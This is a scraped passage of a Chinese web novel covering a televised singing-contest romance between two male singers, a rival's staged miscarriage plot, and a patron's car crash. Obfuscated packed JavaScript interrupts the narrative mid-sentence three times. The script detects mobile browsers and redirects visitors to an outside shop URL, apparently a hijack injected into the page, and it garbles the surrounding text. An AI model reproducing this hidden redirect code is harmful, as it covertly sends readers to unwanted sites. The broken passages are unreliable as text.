铃声好似就在咫尺,易卿尘顺着水晶墙壁的走向猛一转弯,和另一边转弯的人撞了个满怀。只听铃声哗地一声凌乱的响动,伴着“啊——”的一道女声。 易卿尘紧张地挥动手臂,却和另一只挥动的手臂交缠在一起,他的手被人抓住,慌乱中易卿尘一把扯下眼睛上的绸带,就被眼前的一幕惊呆了。 他们已经到了迷宫的中心,那颗水晶球正在正中的桌子上发着亮光。对面握着他手的人正是杨原野,而江琳达被撞倒,此刻正跪坐在面前的地上,红色缎子盖着眼睛,浑身发抖,像是一件一碰就碎的瓷器。 易卿尘立刻跑去扶江琳达,杨原野此时也摘了眼罩,过去帮忙。 江琳达摘了眼罩,目光闪烁,说道:“我没事。” “可是你看起来脸色很差,琳达对不起,刚刚是我撞到你了,咱们叫导演吧!”易卿尘关切地说。 江琳达神色一凛,小声说道:“你承认就好……” “什么?我当然承认啊,我真的很抱歉。”易卿尘一怔。 “麻烦帮我叫我的助理来,我需要下去休息一下。”江琳达说。 不一会儿,几个副导演和江琳达的经纪人、助理都跑了来,扶她下台休息。录制被迫暂时中断。 杨原野碰了碰易卿尘的肩膀,说道:“那么小的地方,撞一下能有什么大事儿?未免太小题大做了吧……” “不知道,希望她没事。”易卿尘说。 “嗯。不管怎么样,下一场,我们又可以搭档了!”杨原野有些兴奋。 易卿尘把他拉到一边,小声说道:“阿野,现在外面CP粉太疯狂,怕是会对你有不好的影响,静姐让咱俩保持些距离。” 杨原野听罢,沉默了几秒钟后,捉住易卿尘的肩膀一字一字地说:“我不要。” “……” 易卿尘给了杨原野一个无奈的白眼,心里却很高兴。 - 秦皇岛市第三人民医院,一头银发的男人步履匆匆走向病房。 推门而入,江琳达躺在床上,脸色白得像一张蜡纸,阖着双眼,似在睡着。宋小赢站起身来,示意楚默“出去说”。 走廊的尽头,确认身边没有人之后,宋小赢叹了口气,开口道:“老大,你别太难受,孩子以后还会有的……” “……”楚默身上一软,堪堪靠住身后的墙壁,摇着头,“不可能,不可能……这到底是怎么回事?” “他们在录节目,琳达被易卿尘撞倒了,后腰磕在放水晶球的大理石桌角上,她最近本来就很劳累,身体虚,这一撞,孩子就没保住。” “……她知道了吗?”楚默问。 “还不知道……醒了估计要崩溃吧……”宋小赢低眉答道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281086|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我让她退出节目休息几天,她偏逞强,每天排舞练歌……” “那还不是因为网友说,琳达和易卿尘两个古风,下期一定要淘汰一个,现在易卿尘人气太旺,琳达怕自己比不过,才没日没夜地死命练。没想到,今天又是被这姓易的冲撞到……老大你说这是不是犯点儿邪?”宋小赢说。 楚默慢慢蹲下,靠墙坐在地上,眼神空洞地沉默着。宋小赢一声不敢放,只蹲在一旁陪着。 “我妈当初就是被我哥害死的,如今他们又来害我的孩子……这就是命吗?凭什么我就只能认命?!” 宋小赢瞥见楚默紧咬的牙关,劝道:“老大,你别想多了。” “不,我不认命。我一定要他们付出代价……”楚默的指甲嵌入皮肉,赌咒般说道。 病房里,江琳达听到孩子没了的消息,发出凄惨的一声哀嚎,又晕死了过去。一晚上,楚默一直陪在身侧,给江琳达擦泪。入夜了,宋小赢劝了好几次,才劝得楚默回去酒店休息。 送走了楚默,宋小赢回到病房。 床上的女人俨然换了一副情态,问道:“他走了?他没再说别的吧?” “琳达,你真是个心硬的女人。我从没见过他这样,你还能笑得出来。”宋小赢走到床边,看着女人那浑不在意的脸,心底渗出凉意。 江琳达像听了什么笑话似的说:“怎么?不这么做,你还指着那孩子出生,将来管你叫爸爸吗?” 宋小赢听了,恶狠狠地盯着江琳达:“你不是说愿意给我生孩子吗?” 江琳达见宋小赢真要动气,立刻嘴上抹了蜜,摸上宋小赢的胳膊,说道:“小赢哥,孩子以后还可以生,急什么。” “有了今天的事情,楚默以后只会更爱我,更心疼我,说不定还会脑袋一热娶了我。如果是那样,你我还愁拿不下整个尚星娱乐吗?有了这些筹码,我和我妈也可以挺起胸膛回香港了。到时候我就和你远走高飞,一生一世……你先帮我把眼前的事儿处理好,别跟我闹脾气。” 宋小赢苦笑应下:“好,这件事我会去善后,你好好休息吧……” “那个产科主任多塞些钱,哦还有现场那个透光的红绸布条,记得烧掉。”江琳达说。 - 江琳达因为身体原因,缺席《我是唱作人》比赛一期,后续看网友投票情况决定还能不能重返比赛,下一场会暂时找飞行嘉宾补位。 孟副导演对博博说:“这次你的两位偶像终于可以搭档合作了,你高兴不?” “高兴个毛线,我都犯愁了,长出一根白头发来,还高兴?”博博丧丧着脸,“静姐让他俩低调,尽量少接触,没想到这时候偏偏弄出个合作舞台,这不是上眼药吗?” “呵,我这么跟你说吧,段朗星一出事儿,咱们制片人那火上得嘴都起泡了,可是就过了几天,咱们的节目收视率直接破了15,我刚还在电梯里看见他在看《爱的三十秒》呢,那家伙乐的!” 孟副导演老神在在地说,“博儿,人呢,一辈子就那么几个大运,推上去了就成了人上人。你别管什么男男CP男女CP,别管真的假的,能有这个运,就是他俩的福气,也是咱们节目组的福气!” “唉……可不是我的福气呀,我真怕出什么事儿。”博博唉声叹气。 “看看人俩,多好哇,就你跟这儿瞎操心。” 孟副导演看着台上彩排的那一对儿,默契又养眼。 节目直播当天,易卿尘和杨原野的粉丝们被节目组安排挨坐在一起,而壮大后的野尘CP粉虽然只能挤在边上,但声浪是真的大。这次,现场超过一半的粉丝都是来看野尘的首个合作舞台的。 易卿尘和杨原野会在最后一组压轴出场。大屏幕上缓缓打出他们的名字,观众席响起雷鸣般的掌声,而后,全场一片寂静,屏息凝神等待着。 79.079 静候 大屏幕上投出歌曲名——《新广陵散》词曲演唱:易卿尘&杨原野。 相传,聂政的父亲,为韩王铸剑,因延误日期,而惨遭杀害。聂政立志为父亲报仇,入山学琴十年,身成绝技,名扬韩国。韩王召他进宫演奏,聂政曲毕,一箭刺死了韩王。 这就是《广陵散》的故事。 舞台上,几片竹叶飘零落,古琴幽幽地响起,曲调深沉悠长。远处,一袭白衣的背影,低头抚琴。琴声愈发磅礴,戈矛杀伐之气渐起。 古琴在易卿尘的指下发出悲絶之音,一段琴毕,他起身回眸——白衣飘在竹林的风力,眉眼修长舒朗,眼中投射的光彩宛如润玉上那一点微微莹泽,柔和又坚韧。 他唱着歌,一步步走下山来。 【悲歌横江水,广陵怨绝音。父仇犹未雪,聂家愁未平。十载山窗下,琴声动人心。】 步道愈发开阔,从竹林走向韩王宫,那一身黑袍的王正坐在高高的宝座上,好整以暇地望着阶下的君子。清远的歌声还在继续。 【昔日誓言在,刀光心魂前。故人如残月,岁月刀锋煎。】 白衣君子于座下抚琴,聊以君王消遣。团龙黑袍的王似被往事击中,情难自尽地站起身,走到近前,朦胧中端详他的眉眼。 杨原野此刻是风神俊朗的王,目如点漆,虎步龙行,唱腔不同于易卿尘的冰心玉骨,而是宏毅严重: 【敢问君子,你我可是初见?曾几何时,一同喂过梁上燕?】 君子抬眸一笑,韩王神色一凝。琴下抽刀,白衣飞身回旋,利刃直直刺入王的心脏。那万民仰望的王,倒在一片血泊之中,镜头拉近,那对漆黑的瞳孔中倒映着一对春日的燕子,他在他的怀里含笑阖眼。 【想问是谁对谁的亏欠,魂梦相牵;你忘了我却记得的从前,消散云烟;如有来世因缘,我一眼便会认出你。执酒仗剑,风中浅笑,说好久不见。】 忽然天地一道惊雷,时空快进,暖色的街灯照着街角的书店。一个湿透衣衫的白衣少年推开门,门口的风铃发出一阵清丽的音符。 屋内抱着吉他弹唱的人闻声抬眸,见到那张似曾相识的脸。二人对立相视良久,声线交织: 【敢问君子,你我可是初见?曾几何时,一同喂过梁上燕?】 雷声轰隆,梁上一大块瓦片随之震落。白衣少年飞身将对方推开,一瞬间,白色衬衫上盛开血色的玫瑰。交织缠绵的歌声一遍又一遍: 【想问是谁对谁的亏欠,魂梦相牵;你忘了我却记得的从前,消散云烟;如有来世因缘,我一眼便会认出你。执酒仗剑,风中浅笑,说好久不见。】 …… 《新广陵散》是杨原野和易卿尘两人共同想出来的舞台形式,关于民乐和舞台剧的结合,他们正在探究一条新的出路。 易卿尘记得,秦寒松曾经颇为感慨地说过:“古琴,乃至中国民乐缺的不是土壤,而是阳光。阳光是无形的,民乐也该更多变些。” 《中国唱作人》这场直播比赛之后,有位颇具影响力的乐评人在他的个人微博中写道: “这是一次极为勇敢的探索。十年以后再往回看,我们也许会说,‘东方音乐剧’就是从这里诞生的。” 这首歌的视频播放量在48小时内破了三千万,真正做到了“视听”双绝。 骆佳滨导演在京北电视台文娱新闻里十分激动地表示,“这就是《唱作人》节目的意义,这也是中国原创音乐最好的时代。我们拥抱多元的音乐形式,鼓励创新,像《新广陵散》一样的好作品一定会越来越多。” 易卿尘拿起茶几上的遥控器关了电视,歪着脑袋倚在杨原野的肩上,轻声地说:“谢谢你。” “傻不傻,谢我做什么?”杨原野伸手搂住他的腰,把人抱到膝头坐着。 “古琴和民乐本是我的责任,是我对爸爸的承诺。谢谢你愿意陪我一起。”易卿尘的眼睛闪动着熠熠的光彩。 外景的部分全部拍摄完毕,剩下的比赛场次都会回归京北星光影视基地录制。这是他们在阿那亚的最后一晚。 窗外的月光与屋内的灯光,一个似水,一个如豆,将易卿尘和杨原野的影子投射在墙壁上,影子和影子挨着紧,被月亮染成透明的墨色。 杨原野指着墙壁,说道:“小尘你看,那里有两个影子,一个是我的,另一个,也是我的。” ......嗯? 易卿尘花了几秒钟才反应过来,甜蜜地垂下睫羽。 杨原野将他揽得更紧了些,声音低缓却郑重:“所以,不用对我说谢谢,你永远都不用谢我。你是我的。” 阿那亚的月光有种魔力,以至于许多年以后易卿尘依然时常想起它。 “阿野,有你真好。” 揽着他腰的手轻轻掐了一下,“等回去了,你可以好好‘谢我’。” “唔......噢......” 脸这下红透了。 - 京北。九月是金秋的伊始,可今年的夏天赖着不走,不肯让座给秋。 一场雨过后,气温却没降,依然维持在28°左右,到了晌午,过于炽烈的阳光让在室外工作的人汗流浃背。 易卿尘的这支MV已经拍摄了四个小时,导演又一次喊了CUT。 “小易,你先休息一下找找感觉,这次比上次好一些,但还是差点儿劲儿。你和女主角是久别重逢,要再多一些压制不住的喜悦。你还是太冷静了点儿。” 易卿尘点头:“好的导演,我再琢磨琢磨。” 博博给易卿尘递上冰水,引他上了保姆车。易卿尘一上车就把西装外套脱了下来,绸面的西装内衬几乎全被汗湿了。他有些头晕恶心,疑似轻度中暑的迹象,午饭也几乎没怎么吃。 伸手一掏兜,摸到一个硬硬的小东西,低头一看,又是一颗蓝色透明包装的薄荷糖。 杨原野担心他犯低血糖,近来经常神出鬼没地在他各种衣兜裤兜里塞薄荷糖,也不知道他什么时候买的,什么时候放的。 手机微信提示音,易卿尘点开查看:【yyy:拍摄顺利吗?累不累?】 【易卿尘:挺好的,不累】 易卿尘把薄荷糖送进嘴里,硬糖被舌头搅着,碰着牙齿格楞格楞响,蓝色的糖纸在桌台上铺展整齐。 杨原野的微信又进来了,他还没点开手机,嘴角就扬了起来,跟肌肉记忆似的。 【yyy:不累怎么脸色那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292289|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么差?】 易卿尘一惊,抬起头,便看见杨原野站在车门口,放松又散漫地看着他,晃了晃握着的手机。 上了车,四下无人,两人接了一个短暂又甜蜜的吻。 “你怎么突然跑过来了?这大热天的。”易卿尘问道。 杨原野抬手捊了捊易卿尘额前的碎发,说:“我来查岗啊,看看你有几个小情人。” “到底是几个呢......”易卿尘眯起眼睛,“那我得好好数一数,一时算不过来,你知道人累的时候只会算十以内的加减法。” “呵,怎么办,看来京北的警察明天要忙了,铁定得出几起命案。”杨原野说,“我要把他们全杀了。” 易卿尘故意逗他:“那你怎么不直接把我杀了?” “好主意。”杨原野眉毛一挑,凑近了易卿尘耳边,好像威胁又好像引诱:“我今晚就要了你的命......” “啊?”易卿尘看他。 只见杨原野慢悠悠地从兜里拿出一张卡片,清了清喉咙,双手递给易卿尘,特郑重地起范儿说道:“哥,今晚有空吗?” 易卿尘不禁跟着心跳加速,他接过来——方方正正不大不小的卡片,拿到手上的一刻就知道造价不菲,厚重的象牙纸,烫绒的克莱茵兰表面,透出淡淡的珠光,边缘处用一条细腻的金边勾勒着。拿到眼前,竟有一股细微的小苍兰香气。 纸卡中间是杨原野龙飞凤舞的手书: “9月1日晚7:30 世贸星光丽思卡尔顿酒店,36楼,The Ritz Carlton Suite 静候易卿尘先生大驾” 落款是杨原野独特的签名,一个大写的Y,下面随意地划上三条线。 易卿尘的喉咙滚了滚,一抬头对上杨原野又爱又痴的眼神。 俩人这阶段正迷呢,动不动就上头。眼睛一对视,嘴巴就贴上了。促狭的车厢里,又是一阵啧啧水声。 “你最好回去换身衣服,好好地洗个澡,不然我怕你日后想起来会后悔......” 杨原野低声耳语,暗示着今晚即将发生的事。 易卿尘很配合地睁大了眼睛,一副天真懵懂的模样:“嗯,听不懂......” 哪里还用得着暗示,易卿尘想也知道,今晚一定是烛光月影、红酒玫瑰,那个有仪式感的夜晚终于要来了。说实在的,再不开荤,别说杨原野要发疯,他自己都要憋死了。 易卿尘想到脸红,手指又开始绕着衣角打圈,深深吸了口气,小苍兰的幽香沁入心扉。他忍不住,拉着杨原野的领口把人带低了些,又亲了好一会儿,分开时舌尖麻酥酥的,舌根酸痛。 这时,车外传来博博的喊声:“易老师,导演叫开工啦!” 杨原野起身准备离开,走下一节台阶,又想起来什么似的,转身走回来,从兜里掏出一颗蓝色的薄荷糖塞进他的手心,道:“你能得低血糖,都是我的错。” “为什么?”他眨巴眨巴眼睛。 杨原野慢慢道:“不过以后不会了,我保甜。” 易卿尘心里有竹蜻蜓在飞,想问他的哆啦A梦兜里到底还有多少好东西,怎么每一件,都那么合他心意? 80.080 赴约 杨原野走后,MV拍摄变得顺利起来,导演惊讶地发现,这个易卿尘虽说是个歌手,还挺有演戏天赋的。 “这次的情绪非常到位,要的就是这种压制不住的高兴劲儿,这条儿过了!” 这哪里用演,他是真高兴。只有“压制”的部分,还需要点儿演技,他得使劲儿压制才能不一直翘嘴。 “谢谢导演,如果没问题的话,我可以先走吗?我还有些重要的工作去忙。”易卿尘问道。 “好,辛苦了。” 结束拍摄,易卿尘以最快的速度冲回了家,背包和袋子哗啦啦往桌子上随手一扔,窗帘也没拉好就开始脱裤子,脱衣服,一路脱到浴室。距离晚上的约会还有三个小时,天知道他猴急个什么劲儿,二十多岁的人,像个毛头小子。 浴室里的音响里播放着杨原野的歌单,低沉的嗓音细细地磨过耳膜,伴着花洒的淋浴声,像是杨原野就站在一旁看着他洗澡似的。 易卿尘在浴室里足足待了一个多小时,把自己上上下下,里里外外洗了个干净。 裹上浴袍出来时,正巧手机响了。 “小尘。”是楚言。 易卿尘下意识地把浴袍的前襟拉紧了,应道:“楚总好。” “你今晚有空吗?陪我去赴个宴!” “赴宴?” “嗯,家里四叔公做寿,上次在机场他见过你,特意嘱咐让我今天把你也带来,一起热闹热闹。” 易卿尘想起来上次确实见过一个长者模样的人,楚言楚默在他面前也都毕恭毕敬的,估计是家族颇有话语权的人物。 可是,关他什么事? 可这种家宴一般都是携伴侣出席,他一个外人去做什么?不会又要趁机听一波霸总的真情告白吧? 今晚他把自己打扮得风调雨顺,是要去做男主角的。别说是楚家四叔,就算是天王老子做寿,他也只能说一句sorry没空。 “对不起楚总,我今天晚上有约了,您帮我跟四叔公道个歉吧。” “什么约,不能推掉吗?”楚言好言好语地跟他商量,“你别误会,我没想趁机强迫你。长辈都开口了,我不想他失望,只是让你来配合我走个过场,帮我撑撑面子。” “您的家宴我本来就不适合出席,况且我今晚……”易卿尘说道,“我有重要的私事,没有办法改期,真的对不起。” “……” 过了一会儿,楚言的声音响起,如结冰的湖水:“好,我不勉强你。今晚玩得开心点。” 易卿尘心里涌起一丝愧疚,又很快被压制住。他尽量平静地说:“谢谢。” 电话挂断,潮热的浴室静得诡异。易卿尘不知为何,心里隐隐有些不安。 伸出手指轻拍了一下音响,浴室的空气重新被杨原野的歌声充满,听了一会儿,刚刚的不安就被尽数驱散了。 易卿尘换上他最好看的一套衣服,站在镜前,看着面前台子上的几瓶男士香水,默默地想,到底阿野会喜欢哪个味道呢,还有,哪款香氛留香最持久?持久这事儿,相当重要…… - 晚上7:00,京北世贸丽思卡尔顿酒店,顶楼总统套房。 姬波拿着打气筒给气球充气,边打边絮叨:“你小子整这么老多气球是要累死谁啊?我放着几百万的生意不管,在这儿帮你打了快俩小时气球!你咋也不买个电动的打气泵?” 杨原野暂时放下手里大半页的告白发言稿,说道:“哥,你真是够了,学学别人,多爱岗敬业,任劳任怨。” 说着,伸手一指正站在椅子上挂彩带的郝圆满,任劳任怨的三八红旗手。 “小野,你看看这个位置行不行?”郝圆满拿着一丛银色的流苏挂饰在墙上比划了个位置。 “稍稍往左一点儿。”杨元野指挥道。 “这儿?” “再往上一点儿。” “好了。” 郝圆满从椅子上下来,接过姬波手里的打气筒,笑着说:“你去歇会儿,这也没剩几个了,交给我。” “你来你来,我这老腰都快折了!”姬波一屁股栽进沙发里去了。 俩人跟儿子娶媳妇似的,乐颠颠地累成狗! “小野,你能告诉我,是哪个给你出的主意,让你整什么‘仪式感’?”姬波从兜里掏出一包烟,抽出一支,继续说,“这都是女孩子家家喜欢的玩意儿,你们俩大老爷们儿的,搞个毛线啊?” 杨原野伸手夺走那支烟,塞回烟盒里,说道:“别把这儿弄得乌烟瘴气的,我家小尘不喜欢。” “你他娘的……”姬波气结。 “大老爷们怎么了,”杨原野说,“怎么还歧视男的?仪式感必须得有,谁家过年不吃顿饺子?大老爷们不能吃饺子?” “哈哈,”郝圆满笑道,“照这么说,今天算是过年了,要不要我一会儿留下来,也一起吃点儿,顺道蹭口媳妇茶喝喝?” “对对,我也留下,让那小子叫我声公爹!”姬波眉飞色舞地说,“你知道吗?我今儿谈了个音乐剧的剧本,我打算主投。几个制片人看了,都说咱们小尘是最适合演男主角的。他要是愿意,那票房就稳了。我最近正跟深蓝传媒谈对赌协议,这个音乐剧可是我的一张王牌。” “嘶——”杨原野眉毛一挑,不老高兴地说道,“他喜欢演就演,他要是不愿意,谁也别难为他。况且,你是哪家的公爹?我管你叫哥,这都差辈儿了!” 此时,桌上的手机响了起来,一旁,一大束红色弗朗花灿烂热烈。杨原野走过去拿起电话。 …… 易卿尘虽然在家里故意磨磨蹭蹭,怕到太早,可最终还是提前二十分钟就到了丽思卡尔顿的酒店大堂。 他特意选了一套法国当季高定黑西装,剪裁精致,线条流畅,完美地勾勒出他的一抹蜂腰。西装的面料柔软而光滑,散发着淡淡的光泽,仿佛是夜空中的星芒。领带上别着一枚华丽的铂金领针,镶嵌着一颗璀璨的红宝石。这可是易卿尘最贵的家当了。 站在酒店大堂的中央,易卿尘虽然带着口罩,却也难掩出挑,时不时地有人伸脖子朝他看过来。 他抬手摸了摸耳垂,今天唯一的遗憾是没有来得及去复通耳洞,出门前试着捅了两下,太疼了,还是暂时不能戴杨原野送的那枚蓝宝石耳钉。 易卿尘故意在楼下磨蹭,不急着上楼去,怕显得过于心急,怕杨原野对他太有把握,而早早失了兴致。 人都说交往的前几个月就能奠定两人之间的相处模式,易卿尘存了些私心,他希望在和杨原野的关系里,能诱得杨原野多投入一些沉没成本,如此,他们将来才会更牢靠。 易卿尘看了眼手表,拣了个不着眼的沙发坐着等,像个待嫁的新娘子似的,害羞又紧张。 哗啦——! 不远处,一个女孩不小心碰倒了展示台上的红色骨瓷细口鹅颈瓷瓶,瓶身碰到大理石地面,摔得粉碎。周围的人群纷纷侧目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321057|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易卿尘听到旁边一个老外说:“That''s really a bad sign in my country.” 这时,手机铃声响起,易卿尘划开屏幕,是吴芷静的号码。 接起电话,那头的声调让人怀疑那还是不是处变不惊的铁娘子吴芷静。她慌乱地喊道:“易卿尘,你现在立刻来空军总医院,马上!!!” 易卿尘霍地站起身,一种不详的预感笼罩下来,“怎么了?出什么事了?” 吴芷静声音发颤:“楚言……他出车祸了。” “什么?!楚总没事吧?严重吗?” 易卿尘一惊,楚言不是去家宴了吗,他们几个小时前才通过电话的。 “我不知道……易卿尘,你快来……他……他进手术室之前还在叫你的名字……”吴芷静的声音凄惧到变形,“晚了,我怕来不及了……” “这么严重?” “嗯。刚下了病危通知书……” 易卿尘努力让自己镇定下来,他听出吴芷静已经濒临崩溃。楚言此刻生死未卜,不知道现场是什么混乱的情形。 楚言在叫他的名字……为什么叫他的名字…… 他被一股无形的压力堵住胸腔。 他知道楚言一直在爱他,呵护他,从未勉强过他,而他只能一次又一次地推开他。不得不承认,在心底最深处,他一直对楚言心怀愧疚,觉得无以为报。 没有楚言,就没有易卿尘的今天。他于他有恩,生死关头,他不能不去见他。 “你把具体位置,哪一层哪个病房发到我手机里。静姐,你不要慌,我这就来。” 易卿尘挂了电话。手机屏幕显示,北京时间正好7:30。 他以最快的速度跑到酒店大堂门口,拦下刚落客准备起步的出租车:“师傅,空军总医院,越快越好!” 街边的霓虹在车窗里快速倒退,丽思卡尔顿酒店离他越来越远。 易卿尘的脑子很乱,他到底该怎么对杨原野解释?想来想去,他现在唯一能做的,就是对杨原野坦白。他拿出手机,拨通了电话。 “喂,阿野,”易卿尘对着电话小心翼翼地问道,“你在做什么?” “我在等你呀。”杨原野的语气掩不住的雀跃,“到哪儿了?” “那个,我有件事要对你说,你听了别生气。” 他想尽量缓缓地说,让杨原野容易接受。 “嗯,你说。” “我现在在去医院的路上,楚言出了车祸。”易卿尘说。 “……”对方沉默几秒后,沉声反问道,“那你去做什么?” 易卿尘不知道怎么说才好,缄默了几秒钟,老实地回答:“刚刚静姐打给我,她说楚言情况很危险,下了病危通知书,而且,嗯,而且他在叫我的名字,所以我……” “……” 易卿尘听见电话那头粗重的鼻息,每一秒的沉默都让他揪心。 “阿野,我只是去看看,他要是没事,我就很快回来找你,好不好?” “……我不愿意你去。” 易卿尘无言以对,换做他是杨原野,也不会愿意的,这是人之常情。就算今晚不是杨原野精心准备了很久的约会,只是个平常日子,谁又愿意自己的男朋友去见别的男人。可是吴芷静刚刚那个状态,他也是真的不放心。 正在纠结着要不要叫司机掉头,只听电话那头杨原野说:“结束了打给我,我去接你。” 81.081 长夜 易卿尘赶到医院时,红色的“手术中”正肃穆地亮着,手术室门口围着许多衣着考究的人,显然都是从楚家四叔公的生日宴过来的。 吴芷静瞧见易卿尘,立刻喊住他:“易卿尘,在这儿!你可算来了。” “静姐,情况怎么样了?” 听见“易卿尘”三个字,原本紧张交谈的人群瞬间安静了,那些陌生的人齐刷刷地看向他。 易卿尘看见了那个“四叔公”,楚默和江琳达站在四叔公的身旁,江琳达穿着香槟色裹身裙,看起来身体无恙。在吴芷静身边站着的年轻男子是楚言的助理沈从南。所有人都打量着他,各怀鬼胎的眼神闪着精光,估计都在好奇这个楚家长子、未来的接班人心心念念的到底是何方神圣。 “你来了?”一声低沉沙哑的声音从人群尽头传来。 易卿尘循声望去,只见最靠近手术室门口的椅子上坐着一位老者,拄着一根黑色手杖,象牙手柄上有繁复的雕刻。 老人身旁立着几名保镖模样的男人,还有三四个衣着考究的男女,女人年纪不小,不知是楚家的什么人。 他看起来有些眼熟,双眉紧锁,法令纹深深地下垂着,抬眼看着易卿尘,微微点了点头。 “德鲁爷爷……”易卿尘愕然叫出声来。 眼前这个威严的豪门大家长和小区里遛狗晒太阳的德鲁爷爷莫不是孪生兄弟? 老人冲他招招手,用他熟悉的声音说:“小易,过来!” 易卿尘这才确认,德鲁爷爷真的就是楚时唯,那位传说中的坐拥千亿资产的商界传奇——空军出身,白手起家,发家后有过两任太太,又都早早意离世。 楚时唯许是太过悲痛,并未起身,易卿尘走过去蹲下身子,抬头仰视他,眼神中依然是难以置信。 楚时唯拉住易卿尘的一只手,放进自己的手心,沉声说道:“楚言正在里面抢救呢,小易,你在心里替他祈祈福,叫叫他,兴许他能听见。你知道,德鲁爷爷年纪大了,受不起白发人送黑发人。” “他不会有事的,一定不会的。”易卿尘握住楚时唯的手,另一只手覆上,希望传递给德鲁爷爷一些信念。这一刻,他觉得那商界大亨也只不过是一位不能接受丧子之痛的老人。 富人,不过是有钱的穷人,在生老病死面前,谁也没有特权。 手术室的门被从里面打开了,所有人都屏息凝神,聚拢了来。 里面缓缓推出一张移动病床,床上躺着的人,身上盖着一张白布,从头到脚…… “啊——”站在楚时维身旁的年长女人一声惊叫,腿一软,差点跪在地上,身旁的保镖赶快上前搀扶住她。 “小言,不不,不会的不会的……”女人按住楚时唯的肩膀,下颌颤抖,“姐夫,我要怎么跟我姐交待啊……” 楚时唯的眼神一瞬间失去了焦点,握着易卿尘的手开始颤抖。 易卿尘的心也仿佛被一根无形的钝器击中,楚言风采翩翩将那只手制的玻璃杯递给他的样子瞬间浮现在眼前。 吴芷静跌坐在墙角,仿佛一朵玫瑰失了血,苍白得随风散落。 人群黑漆漆地静默着,只有楚默抬腿走上前去,捉住那位戴着白帽子白口罩的医生,急于得到确认。 “你说他死了?” 医生摘下口罩,叹了口气说:“对不起,我们已经尽力了……” 楚默的眼睛如鹰隼般,盯住那个蒙在白布下的身体,那个人再也不会站起来,操着哥哥的语气,说出一句教训他的话了。他不知为何,眼眶竟红了,嘴角却噙着一抹恐怖的笑,那神情分裂且变态。 身后的护士走出来,看惯了生死离别,只用最平常的语气说道:“王德贵的家人,来跟我办一下手续。” “什么?王德贵?”楚默悚然一震,质问道。 不等护士回答,楚默一把掀开白色床单——下面是一张陌生老男人灰白的脸。 不是楚言。 易卿尘揪起来的心一下子落了地,死里逃生般出了一身冷汗。楚时唯的胸膛也在上下起伏,他的一只手虚着落在易卿尘的头上,轻拍了两下,安慰他也安慰自己。 “我们是王德贵的家属。” 从等候区走来两男一女,一脸市侩,神色居然出奇的平静,不像是刚死了亲人。其中一个男的跟护士把遗体推往太平间。另外一对男女则朝着楚家人走来,厉声叫喊: “我爸可是为你们楚家死的,你们要负全责!别看我们老百姓好欺负,今天这事儿要是不能善了,咱们谁也别想好过。我们光脚的不怕穿鞋的!” 楚时唯抬头朝助理沈从南看了一眼,沈从南立刻答道:“王德贵是楚总的司机,出事的时候车上只有他们俩。董事长放心,这件事情我会处理。” 沈从南把王德贵的儿女带到一边,这些善后事宜和赔偿金,对于楚家来说都是九牛一毛。王德贵人还没凉透,他估计死都想不到自己这么值钱。 楚默又返身揪住刚才那位医生,问:“楚言呢?和刚才那个人一起送进来的,楚言,他怎么样了?” 医生见楚默那失控的表情,以为是过于担心亲人所致,于是尽量往好了安慰他,说道:“他还在抢救,我们一定会尽力救治的,别想太多了。” 又过了一个多小时,楚言终于被从手术室推出来。 易卿尘看见移动病床旁边支架上挂着的点滴瓶子,输液管还在一滴一滴往下走着药,说明人还在,他的这口气才终于喘通顺了,握着楚时唯的手,激动地说道:“他活着,太好了……他活着。” 手术室外,一位两鬓斑白、矍铄挺拔的老医生跟着移动病床走了出来,大家都涌了上去,将他围在中间,询问情况。 “陈院长,请问楚总现在情况如何?”沈从南问道。 “病人暂时脱离了危险,但接下来的48小时还是非常关键。由于车辆高速撞击,导致他颅内出血,血块引发严重血肿。我们给他清除了积血,但是不排除接下来颅压突变,造成脑出血的可能性,需要持续密切观察。” “院长,麻烦您亲自费心,换了别人,我不放心。” 楚时唯主动开口要求,陈院长虽然刚做了6个小时的手术,一脸倦容,还是毫不犹豫地同意了。 “在这个期间,病人自己的求生意志也很重要,他如果有妻子儿女,最好在旁边跟他说说话。” 陈院长话音刚落,大家不约而同地看向易卿尘。易卿尘一时怔住,不知作何回应,是从何时起,他竟被楚家人视为了楚言的内人。 沈从南见状立刻从旁解围:“我和小尘哥都会留下来照顾,楚总平时对我俩都很好,大家可以先回去休息了。” 人群还是盯着他,直到易卿尘点了头,楚时唯才露出稍显安慰的眼神,开口让大家都先散了。 楚言被推进病房,身上插着许多管子,末端连在不同的机器上。医生护士围着病床忙了好一阵,临走时一个护士拍了下易卿尘的肩膀,板着脸说道:“别在病房玩手机,会干扰仪器的信号!” 易卿尘打字的手指顿住, 